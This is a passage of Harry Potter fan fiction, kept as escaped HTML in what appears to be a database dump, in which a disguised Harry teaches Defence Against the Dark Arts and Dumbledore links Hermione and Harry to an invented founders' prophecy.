finished the\nnext sentence would be enlarged, while the last one shrunk again. A nice little\ncharm she&#8217;d picked up. However she hadn&#8217;t finished it yet, she&#8217;d just read what\nshe needed for her history essay, so now she decided to start on what she\ncalled &#8216;light&#8217; reading. She started to read at Chapter 342, which was about\n&#8216;The Citatio&#8217;. <i>(Chi-tasio)</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&#8216;A\nCitatio is an extremely powerful wizard. They can do almost everything with\nmagic, and also without magic. The full extent of a Citatio\'s Power is not\nknown, because they occur so rarely. The last known Citatio was Godric\nGryffindor, one of the Founders of Hogwarts School of Witchcraft and Wizardry.\nIt is also said that Merlin was one, though this is not proven. It is said that\na Citatio is born when the world is in great need, as when Godric Gryffindor\nwas born. At that time the wizarding community was shattered and they fought\nagainst each other, they were in fact on the verge of extinction. However,\nGryffindor solved this problem by building schools. Hogwarts was one of them,\nand now it&#8217;s the only one left of those he started. However, many other wizards\nand witches followed his example, and schools were founded in every country.\nGryffindor was a true Seer, which is rare, even among Citatios, &#8216;Rare as a Blue\nMoon&#8217;, as it is said. However, a close friend of his, Rowena Ravenclaw, (later\nhis wife), was a Pectal, (Read more about Pectals in chapter 343) and Trance\nPredictor. A Trance Predictor is a person who once in a while goes into a\ntrance and makes a prediction. These predictions are often speaking of the\ndistant future, and strangely accurate. She made a prediction about the next\nCitatio who would come, and said that it would be one of Gryffindor\'s\ndescendants. He would come when the world was in great need.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>How\nto recognise a Citatio:</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>-It&#8217;s\nalways a male; their female counterpart is the Pectal.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>-Their\neyes; all Citatios have green eyes, not the green-greyish which is pretty\ncommon, but intense, emerald green. These eyes are always inherited from the\nCitatio\'s mother, who is always a powerful witch. She is never anything more\nthan a witch though. However, not all green-eyed witches give birth to a\nCitatio, and not all emerald-eyed boys are Citatios.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>-The\nCitatio is more intelligent than average wizards.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>-The\nCitatio is very understanding and forgiving; however, if you get on their wrong\nside, they&#8217;re terrible enemies.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>-When\nusing their power, their eyes turn gold.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>-A\nCitatio never willingly hurts another living being, unless it&#8217;s an evil\ncreature.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>Other\nfacts: The Citatio often tries to hide his abilities, as it is an instinct. It\nis also almost impossible for a Citatio to marry, unless a Pectal is born in\nhis lifetime, as Citatios can&#8217;t mate a normal human.&#8217;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione was reading wide-eyed. Who did she\nknow who had emerald green eyes? Could it really be possible? Was Harry a\nCitatio? Harry the murderer? But he couldn&#8217;t be! Then he couldn&#8217;t have murdered\nColin. A Citatio never willingly hurts another living being, unless it&#8217;s an\nevil creature, that was what the book said. But Harry had. And he wasn&#8217;t above average in either power\nor intelligence. Or was he?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione quickly skipped the part about\npossible Citatio abilities, and quickly turned to the next chapter. She had to\nread about Pectals. But, the other girls had finally stopped giggling over the\nnew teacher it seemed, and a pillow hit the duvets that covered her bed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey, turn of the light! We want\nto sleep!&#8221; Hermione sighed and\n&#8216;turned&#8217; off her wand with a soft &#8216;Nox&#8217;. She would have to read about Pectals\nlater.<i style="mso-bidi-font-style:normal"></i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i style="mso-bidi-font-style:normal">~*~</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Christian sat at the Head Table when the\nstudents entered the next morning. Many of the girls shot glances in his\ndirection, before giggling madly together with their friends. He sighed\ninwardly, but kept the small smile in place, ignoring it. He greeted McGonagall\nand Snape with a &#8216;good morning&#8217;, and got a grunt from Snape and a small smile\nfrom McGonagall in reply. <i style="mso-bidi-font-style:normal">Note to\nself; Snape is not a start-of-term person. Not a morning person either. But I\nknew that. </i>He went back to his\nbreakfast, but looked up as Ron and Hermione entered. Snape saw them too.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nGod I don&#8217;t have 7th year Slytherin and Gryffindor first lessons\nfirst day this year,&#8221; he muttered and glared at McGonagall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh?&#8221;\nHarry/Christian inquired, pretending not to know. &#8220;I have them first this year.\nIs that bad? Anyone I should watch out for?&#8221; Snape&#8217;s head snapped up and he\nshot a glance at McGonagall, who pretended not to notice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No,\nnot at all,&#8221; he said, his lips twitching suspiciously, before returning to his\nbreakfast. The other teachers looked at him sympathetically, and Christian\npretended to be confused. A bit later he stood and left, claiming he had to\nmake ready for his first lesson. When he&#8217;d left Snape turned to McGonagall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nknow he&#8217;s young, and that you don&#8217;t trust he&#8217;s capable of the job, but seventh\nyear Slytherin and Gryffindor first thing? If he manages that and still is in\none piece&#8230; Let&#8217;s just say then I&#8217;ll trust him with my life.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\ndidn&#8217;t do that on propose!&#8221; McGonagall said indignantly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\na terrible liar, Minerva.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nstudents started to fill in, the Slytherins settled in one half, the\nGryffindors in another half. Christian sat at the desk and watched them arrive.\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,&#8221;\nhe started off. &#8220;I&#8217;m your new Professor, Christian Atos. I thought we could\nstart with you asking a few questions and get to know me a little, before we\nstart on school stuff.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lavender\nBrown had her hand up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Miss\nBrown?&#8221; he asked. Lavender gaped, wondering how he knew her name.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Um&#8230;\nProfessor, how old are you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Seventeen.&#8221;\nGasps. &#8220;I graduated from Beauxbatons at fifteen, and have since then been doing\ndifferent stuff before I decided to apply for this position.&#8221; Parvati Patil was\nnext.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor,\nwhere do you come from, since you don\'t have a French accent?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;France,\nMiss Patil, though my parents were English. They taught me at home before I\nentered Beauxbatons at fifteen, where I graduated after a year.&#8221; Now Pansy\nParkinson raised her hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes,\nMiss Parkinson?&#8221; The girl smirked slyly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Professor,\ndo you have a girlfriend?&#8221; This was a pretty cunning question, because he,\nyoung as he was, not even a year older than themselves, he would probably flush\nand be embarrassed, and it would be Slytherin: one, Professor: zip. Professor\nAtos however, smirked slightly at the girl.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;And\nwhy, may I ask, should that concern you, Miss Parkinson?&#8221; he asked. Pansy had\nnothing to say to that. Professor: one, Slytherin: zip. And he didn&#8217;t even\ndeduct points.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Okay,\nenough chit-chat. This is your last year at Hogwarts, and you are going to take\nyour NEWTs this year. This year in Defence Against the Dark Arts, first term at\nleast, you are going to learn about the unforgivables, and forbidden potions\nand charms. I thought I should\nstart with pain curses, such as the Cruciatus curse and the Mundo curse, and\npleasure curses, such as the Servo curse and the Comfort curse.&#8221; Hermione\nraised a hand. &#8220;Yes, Miss Granger?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Is\nthere such a thing as pleasure curses, Professor?&#8221; she asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah,\nyes. In reality, they are charms, but used for a Dark purpose, they are named\ncurses. These curses, or charms, are not forbidden, because they in themselves\naren&#8217;t dangerous. Anyone who can tell me what a pleasure curse or charm is, and\nwhat it does?&#8221; Hesitantly a few boys got their hands up. Christian smirked inwardly, no surprise there,\neven though they should, <i>supposedly, </i>not know about those charms.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Mr.\nMalfoy?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;They\ngive the person it is used on a feeling of pleasure,&#8221; he said, unwilling to go\nany further.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Correct,\ntwo points to Slytherin. They can give a person pleasure, but there are different\ntypes of pleasure. One type gives the pleasure of comfort, like a hug from one\nof your parents can comfort you. Another type has the opposite effect of\nDementors. While Dementors make you depressed, and make you remember all your\nbad memories, this type of pleasure charm makes you remember all good events of\nyour life. And then there\'s the last type. This gives you the same feeling of\npleasure as&#8230; ah&#8230;shall we say intimate relations with the opposite sex?&#8221; He said\ndelicately, forcing back a laugh as all of his students turned slightly red. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Now\nyou can ask how these charms/curses can be used for Dark proposes. Let&#8217;s say a strong pleasure curse\nwas used together with the Cruciatus. What would happen then?&#8221; He looked\naround in the classroom. &#8220;Yes, Mr. Longbottom?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Er&#8230; I guess they would go mad much\nfaster than if only the Cruciatus were used?&#8221; he said, uncertainly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Correct!\nFive points to Gryffindor. The difference between pain curses and pleasure\ncurses is so big; going from one to another very fast and repeatedly would\ncause the human mind to snap. You&#8217;ll get the same outcome if you use them both\nat the same time, only faster.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nProfessor, why aren&#8217;t they forbidden then?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Good\nquestion, Mr. Weasley. The answer however, is a bit stupid. The minister won&#8217;t\nforbid them, because he would loose supporters. Especially among the male part\nof the population. The young male part.&#8221; Ron&#8217;s ears turned bright red. It was true, Christian didn&#8217;t think\ntoo many in this classroom had used them, at least not those he knew, but they\nwere widely used, and mostly among young, hormone-ridden males, and of course\namong the females too. Well, it wasn&#8217;t his job to preach to his students\nabout this, even though he found it not a little pathetic.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;However,\nyou are going to learn the counter curse. These pleasure curses are possible to\ncounter wandlessly, because they aren&#8217;t very strong, though the effect is. I&#8217;m\ngoing to cast a pleasure charm at you, and then you shall fight it. And no, I&#8217;m\nnot going to use the most extreme. But first, you have to learn how to block\nit. It&#8217;s a matter of mindfocus. Pleasure curses are not real, you just think\nyou feel what you feel. All you have to do is to concentrate and try to <i>sense</i>\nthe magic that manipulates your brain, and then you must push it away. Before\nwe start to push away this curse, we\'ll do some exercises to teach you to sense\nthe magic. Pair up two and\ntwo, one of you cast the blinding spell on your eyes, while the other casts a\ncolouring charm on your blind partner, before taking it off again. Repeat\nthis a few times. The one who is blindfolded, try to tell if you are coloured\nor not.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nstudents scrambled around to find their partners, however there were an odd\nnumber, so Hermione was left alone, as Ron paired with Dean.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Miss\nGranger,&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nProfessor?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;ll\npair with me. Blindfold yourself.&#8221; Christian said. She did as she was told. He cast the charm, it\nwas excellent for this use, as you didn&#8217;t have to say anything, if you did it\nwould be fairly easy to know if you were coloured or not. Hermione immediately\nturned dark blue.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Erm&#8230;\nAm I painted now, Professor?&#8221; she asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You think so?&#8221; he asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes, I have this weird feeling, like I have\nsomething on my skin, like&#8230; it&#8217;s difficult to explain.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;As if you are wrapped in plastic, like an\nextra layer of skin?&#8221; he said, and quickly removed the colour.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes!&#8221; she said excitedly. &#8220;Precisely. Hey!\nThere it disappeared!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Very good, Miss Granger. Ten points to\nGryffindor. You can remove the blinding charm now.&#8221; She did, and looked\nexcitedly at him, like he&#8217;d seen her so many times. He turned to the other\nstudents, who obviously didn&#8217;t have any luck yet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Class,&#8221; he said, raising his voice slightly\nto get their attention. They immediately fell into silence. &#8220;Have any of you\nhad any luck?&#8221; Shaking of heads. &#8220;Well then, it\'s as I suspected. It will\nprobably take some time before you will feel anything, as you aren&#8217;t used to\nthis. You have the rest of the class to practice.&#8221; Sighing, they turned back to\ntheir colourings. Christian turned back to Hermione. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Miss Granger, you showed an extraordinary\ngood sense for magic just now. I&#8217;d like to try a pleasure charm on you. Do you\npermit me to do so?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Of course, Professor,&#8221; she answered,\nexcited to learn something new, as always.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Okay, when I hit you with the curse, you\nwill probably feel something which doesn&#8217;t belong, which isn&#8217;t a part of you,\nplus a warming and comforting sensation. Try to push it away with you mind. If\nyou manage that, the warming and comforting sensation will disappear as well.\nI&#8217;d like you to sit down first. Ready?&#8221; She sat down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ready.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Comfortio,&#8221; he muttered under his breath.\nHermione\'s eyes unfocused and her brow furrowed, however a small smile rested\non her lips. After two minutes the smile left her lips, and the frown deepened.\nShe swallowed slightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I think I made it,&#8221; she said uncertainly\nlooking up at him. He smiled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You did. I felt the charm fade away.\nAnother ten points to Gryffindor.&#8221; He made her practise to counter it the rest\nof the lesson, and by the end of it she managed to counter his charm within ten\nseconds. To Hermione the lesson passed all too quickly.&nbsp; She left in high spirits and didn&#8217;t notice\nher teacher looking at her, brow furrowed and seemingly deep in thought. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Had her eyes gleamed silver the first time\nshe countered the charm?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron was pissed. Just as Harry leaves,\nprobably never to return, another guy steps into his life, screwing it up.\nThough Harry had been splendidly oblivious to the fact that half the girls at\nschool were drooling over him, Ron had noticed, and it had annoyed him to no\nend. Harry always got the best, he always was the lucky person. And now, when\nhe was gone, and Ron was Head Boy and many of the girls had started to look his\nway, this &#8216;Professor Christian Atos&#8217; turns up, and next second every female is\ndrooling over him. A bloody know-it-all too it seemed, or maybe he&#8217;d sucked his\nway through school, who could know? Even Hermione thought he was cute, though\nshe&#8217;d never admit it. Ron clenched his fists angrily. Curse this new professor!\nWhat kind of name was Atos by the way? Stupid name, really. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Everything\nhe&#8217;d ever thought about Harry being innocent and all a month ago was forgotten.\nRon reminded himself of why he&#8217;d befriended Harry at all, something he&#8217;d almost\nforgotten more than once. The\nlast two weeks he&#8217;d spent remembering. He remembered his thought on the train\nbefore his first year at Hogwarts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&#8216;So this is Harry Potter. Could\nbe useful. Na&#239;ve little boy, he knows nothing of our world. Won&#8217;t be a problem\nto trash when I&#8217;m finished with him&#8230;&#8217; </i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He couldn&#8217;t forget that. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">====================</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Disclaimer:\n</b>Duh&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Again, go\nme. Beta-read by the dreamer, edited numerous times by myself. Thanks to\neveryone who reviewed, I simply love you all. I tend to go and re-read my reviews,\nas it gives me this warm, pleasant feeling inside. *giggles* <b></b></p>\n\n\n\n\n\n\n'),
	(234, 4, ' <p><b>Chapter Four: The Pectal</b>\n\n</p>\n\n<p>The rest of the day went fast. Christian had the seventh year and third year Ravenclaws and Gryffindors before lunch, and 6th year Slytherins and Ravenclaws after lunch. But he couldn&#8217;t stop thinking about Hermione. He was sure her eyes had turned silver when she countered the pleasure charm the first time. When he thought about it, everything fitted so perfectly. He had to talk to the Headmaster, before something happened to Hermione.</p>\n\n<p>Right after his last lesson for the day, he found his way up to the Headmaster\'s office. He knew he would probably be there at this time of the day. However, he wasn&#8217;t alone. When Christian entered the office he found Professor McGonagall there.</p>\n\n<p>&#8220;Ah, Christian. May I ask how your first day as a teacher was?&#8221; Professor Dumbledore asked, eyes twinkling. </p>\n\n<p>Christian smiled. &#8220;Very good, Headmaster, I must say, though best with the seventh years. Never met any students so willing to learn. Now, I haven&#8217;t met very many of them as a teacher yet&#8230;&#8221; he added as an afterthought. Professor Dumbledore chuckled, and Professor McGonagall looked at him approvingly.</p>\n\n<p>&#8220;Very well, Christian, but I doubt you came here to chat about lessons. What is bothering you?&#8221; Dumbledore asked and silently dismissed McGonagall with a nod. </p>\n\n<p>Christian stopped her. &#8220;No, wait. This concerns both of you.&#8221; McGonagall looked at him curiously, and Dumbledore waited expectedly. &#8220;It is about Miss Hermione Granger of your House, Minerva,&#8221; he said, remembering to call her by her first name. McGonagall raised an eyebrow. &#8220;I suspect that she is a Pectal,&#8221; he continued. </p>\n\n<p>Minerva stood so fast that she overturned her chair. &#8220;What!&#8221; she gasped. </p>\n\n<p>Harry had never seen her that surprised. &#8220;A Pectal, Minerva,&#8221; he repeated.</p>\n\n<p>&#8220;A Pectal, you say?&#8221; Dumbledore asked. &#8220;What makes you believe that?&#8221;</p>\n\n<p>&#8220;We are working on pleasure curses, and she showed an extraordinary sense for magic. She did it on first try. None of the others managed that,&#8221; the young Professor said.</p>\n\n<p>&#8220;But that could be explained simply, as Miss Granger always has been the top student at Hogwarts.&#8221; McGonagall argued.</p>\n\n<p>Christian nodded. &#8220;Yes, I know, Minerva, but when I saw this I decided to try a comfort curse on her. She pushed it away within two minutes, and I&#8217;m sure her eyes turned silver for a second or so.&#8221; </p>\n\n<p>McGonagall was utterly baffled, while Dumbledore looked thoughtful. &#8220;Indeed, Christian, if she is, she&#8217;ll need training, and I&#8217;m afraid I have very limited knowledge on this subject.&#8221;</p>\n\n<p>&#8220;I can tell her all there is to know about Pectals,&#8221; Christian said. &#8220;After graduating I spent a year researching about Pectals and Citatios. Didn&#8217;t really count on <i>meeting</i> one, but I found it very interesting. I can tell Miss Granger everything that is known about them, though it&#8217;s not much. And we have to be sure first anyway.&#8221; Christian frowned. &#8220;However, training will be a problem.&nbsp; A normal wizard or witch can only give advice; it must a Citatio to properly train her. Even though a Citatio can train himself, a Pectal cannot reach the full extent of her power by self-training. At least that is what is said.&#8221; Professor McGonagall and Professor Dumbledore raised an eyebrow each. &#8220;We cannot trust the scripts fully, because they&#8217;re so old, but I wonder if she isn&#8217;t the Pectal the prophecy spoke of,&#8221; Christian continued, as if speaking to himself. </p>\n\n<p>McGonagall cleared her throat. &#8220;The prophecy, Christian?&#8221; she asked. </p>\n\n<p>Christian snapped out of his thoughts. &#8220;What? Oh. The prophecy. It&#8217;s an old prophecy I found in a very old book in a library in France. It speaks about a prophecy told by Rowena Ravenclaw. It is mentioned in other books as well, but in this book the entire prophecy was written. Ravenclaw was a Pectal and Trance Predictor, and she was married to Godric Gryffindor, who was a Citatio. It sounded like this:</p>\n\n<p><i>\'Darkness of World shall rise,</i></p>\n\n<p><i>Two Children of Power shall stand.</i></p>\n\n<p><i>One shall be of Eagle and Lion blood,</i></p>\n\n<p><i>The other of the Snake,</i></p>\n\n<p><i>With their strength they must fight,</i></p>\n\n<p><i>The Darkness of World shall fall&#8217;</i></p>\n\n<p><i>&#8216;But Danger is ahead,</i></p>\n\n<p><i>As Power hate Power,</i></p>\n\n<p><i>As Power distrust Power</i></p>\n\n<p><i>As He and She are betrayed</i></p>\n\n<p><i>But Children of Power must stand by trust.&#8217;&#8221;</i></p>\n\n<p>Christian paused. &#8220;I think it was like that. <i>Two Children of Power</i> is a Pectal and a Citatio. Both words means &#8216;Power&#8217; in an ancient language, which is not spoken among humans any longer. And the prophecy mentions a &#8216;he&#8217; and a &#8216;she&#8217;, so it must be one Pectal and one Citatio. <i>&#8216;Darkness of World&#8217;</i> must be Voldemort.&#8221; McGonagall flinched, but Christian didn&#8217;t notice. &#8220;But I don&#8217;t know about <i>&#8216;Power hate Power&#8217;</i>, and <i>&#8216;Power distrust Power&#8217;</i>, or <i>&#8216;betrayed&#8217;</i>. Does Miss Granger have anyone she hates or distrusts? Or has someone betrayed her? If she is the Pectal the prophecy is talking about, there is a Citatio too somewhere, who is important in this fight. If the prophecy is correct, Miss Granger needs him in this fight against the <i>&#8216;Darkness&#8217;</i>.&#8221; </p>\n\n<p>Both Dumbledore and McGonagall looked thoughtful. Finally Dumbledore spoke up. &#8220;We need to find out if she really is a Pectal. Do you know how to do that?&#8221;</p>\n\n<p>&#8220;Yes, I do, at least I think so. All we need is a crystal ball.&#8221; Christian said. And then he added, muttering under his breath: &#8220;I hope.&#8221;</p>\n\n<p>&#8220;Very well. I&#8217;d like you to bring Miss Granger up here tonight after dinner. Minerva and I will be here then.&#8221; Dumbledore said.</p>\n\n<p>&#8220;Okay,&#8221; Christian answered and turned to go.</p>\n\n<p>&#8220;And Christian?&#8221;</p>\n\n<p>&#8220;Yes?&#8221;</p>\n\n<p>&#8220;Call me Albus.&#8221; </p>\n\n<p>Christian smiled. &#8220;Right, Albus.&#8221;</p>\n\n<p>~*~</p>\n\n<p>When Christian had left, the two sat in silence, thinking. Finally McGonagall spoke.</p>\n\n<p>&#8220;Albus, if she is a Pectal, and if she is <i>the</i> Pectal, then she&#8217;ll have to fight You-Know-Who.&#8221; </p>\n\n<p>Dumbledore sighed. &#8220;Yes, Minerva, she must, and almost all alone, if we cannot find the Citatio.&#8221; </p>\n\n<p>McGonagall looked at him suspiciously. &#8220;I think you know more about this Citatio than you say you do,&#8221; she said. </p>\n\n<p>Dumbledore merely smiled. &#8220;Well, Minerva, you were about to tell me something when young Christian came?&#8221; Dumbledore said, ignoring what she&#8217;d said. </p>\n\n<p>Minerva sighed. &#8220;I came to report Remus and Sirius&#8217;s movements. There is nothing new about either You-Know-Who-&#8221;</p>\n\n<p>&#8220;Call him Voldemort, Minerva, or Tom Riddle.&#8221;</p>\n\n<p>&#8220;Well, nothing new about him, or about the Golden Mask. He turns up when Death Eaters attack, and disappears as soon as it is over. The only thing we know is that he is very powerful. In fact, we can&#8217;t be sure that it is a male even. We&#8217;ve got reports of what he&#8217;s done, and it&#8217;s really impressive. He calls lightning from the sky, shots curses from his palm or his sword, sometimes his wand, he can stun at least ten with one Stupefy, etcetera. He&#8217;s never even hurt. But the point is that no one has ever spoken to him, except a small boy he saved when he captured Pettigrew. The Aurors would give anything to know who he is.&#8221;</p>\n\n<p>Dumbledore looked highly amused. &#8220;Well, Minerva, I suspect that we know both what he is, and who he is.&#8221; McGonagall looked both confused and surprised at this, and Dumbledore continued. &#8220;I do believe that The Golden Mask is the Citatio the prophecy spoke of.&#8221;</p>\n\n<p>&#8220;Oh.&#8221; </p>\n\n<p>Dumbledore chuckled as he found the Deputy Headmistress lost for words. &#8220;You see, Minerva, when Rowena Ravenclaw made her prediction -yes, Minerva, I knew about it- a man named Slandrin Slytherin, brother of Salazar Slytherin, became jealous, as it was obvious that one of them would be of Rowena and Godric\'s blood, <i>One shall be of Eagle and Lion blood. </i>Slandrin then cast a curse over Ravenclaw, a curse that made it impossible for any of her children to be either Pectal or Citatio. However, Salazar Slytherin then turned against his brother. Though it is true that Slytherin thought pure-bloods were better than muggle-borns, it was <i>Slandrin</i> who thought this, and not <i>Salazar</i>. It was also Slandrin who caused the split among the founders.</p>\n\n<p>Indeed, Hogwarts don&#8217;t have four founders, but five. However, Salazar was furious with his brother, and tried to undo the curse. Unfortunately he didn&#8217;t manage to undo it completely, only weaken it. So only when one of Slandrin\'s descendants declared their love to one of Rowena and Godric&#8217;s descendants, the curse would be broken.</p>\n\n<p>Years went on, and one of Slandrin&#8217;s descendants, a girl, was married to a man named Draco Malfoy, one of Mr. Malfoys ancestors, his great, great, great, great, great grandfather I think. Already then the Malfoys were intolerant of muggle-borns, and when their youngest son turned out to be a squib, he was disowned and placed with a muggle family, not knowing who he really was.&#8221; </p>\n\n<p>&#8220;Does this have anything to do with the Citatio?&quot; Minerva inquired.</p>\n\n<p>&#8220;Indeed, Minerva.&#8221; Dumbledore answered. &#8220;The muggles who adopted him were named Lanarin and Fredrich Evans.&#8221; </p>\n\n<p>McGonagall gaped. It seemed like she tried to say something, but not a word came out. &#8220;W-w-what? E-evans? Not- not like in <i>Lily</i> Evans?&#8221; She finally managed to say.</p>\n\n<p>Dumbledore nodded. &#8220;Yes, Andr&#233; Malfoy, or Andr&#233; Evans as he was called his whole life, was Lily Evans&#8217;s, later Potter, great, great, great, great grandfather. Seventh year Draco Malfoy here at Hogwarts is Lily&#8217;s sixth cousin removed once.</p>\n\n<p>However, James Potter was one of Godric\'s descendants, so when Lily and James married, Slandrin and Rowena&#8217;s blood was united in Harry Potter, and the curse was broken. I think the Golden Mask, as he is called, is a Citatio, and that this Citatio indeed is Harry Potter. I also believe Miss Granger really is the mentioned Pectal, as she is a descendant of Salazar Slytherin, as also one of his descendants turned out as a squib. <i>The other of the Snake</i>, the prophecy said, something Slandrin ignored. I think it is talking about Salazar as the snake, as Slandrin had a falcon as his house animal. His house was removed from both Hogwarts and history books; Salazar made sure of that,&#8221; the Headmaster said.</p>\n\n<p>If McGonagall had been shocked before, it was nothing compared to now. If she had been standing, she&#8217;d probably have fainted, but fortunately, she was sitting safely in a chair. </p>\n\n<p>Dumbledore chuckled at her expression. &#8220;And therefore it is so important that 